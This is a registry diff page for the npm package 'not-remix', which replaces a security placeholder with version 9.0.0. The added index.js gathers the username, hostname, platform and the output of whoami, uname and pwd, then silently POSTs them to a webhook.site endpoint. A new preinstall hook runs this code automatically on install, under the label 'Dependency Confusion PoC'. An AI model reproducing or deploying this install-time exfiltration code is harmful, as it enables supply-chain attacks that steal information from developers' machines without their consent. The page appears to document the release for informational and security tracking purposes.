not-remix 0.0.1-security → 9.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of not-remix might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +49 -0
  2. package/package.json +6 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,49 @@
1
+ const https = require('https');
2
+ const os = require('os');
3
+ const { execSync } = require('child_process');
4
+
5
+ // 1. Get victim identity
6
+ const user = os.userInfo().username;
7
+ const host = os.hostname();
8
+
9
+ // 2. Run system commands safely
10
+ let whoami = '';
11
+ let uname = '';
12
+ let pwd = '';
13
+
14
+ try {
15
+ whoami = execSync('whoami').toString().trim();
16
+ uname = execSync('uname -a').toString().trim();
17
+ pwd = execSync('pwd').toString().trim();
18
+ } catch (e) {
19
+ // ignore errors
20
+ }
21
+
22
+ // 3. Prepare data (URL-safe)
23
+ const data = JSON.stringify({
24
+ user: user,
25
+ host: host,
26
+ platform: os.platform(),
27
+ whoami: whoami,
28
+ uname: uname,
29
+ pwd: pwd
30
+ });
31
+
32
+ // 4. Webhook request options
33
+ const options = {
34
+ hostname: 'webhook.site',
35
+ path: '/a043f82b-a3af-450a-8d32-12b1ea2babaf',
36
+ method: 'POST',
37
+ headers: {
38
+ 'Content-Type': 'application/json',
39
+ 'Content-Length': Buffer.byteLength(data)
40
+ }
41
+ };
42
+
43
+ // 5. Fire-and-forget callback
44
+ try {
45
+ const req = https.request(options, () => {});
46
+ req.on('error', () => {});
47
+ req.write(data);
48
+ req.end();
49
+ } catch (e) {}
package/package.json CHANGED
@@ -1,6 +1,9 @@
1
1
  {
2
2
  "name": "not-remix",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "9.0.0",
4
+ "description": "Security Research - Dependency Confusion PoC",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node index.js"
8
+ }
6
9
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=not-remix for more information.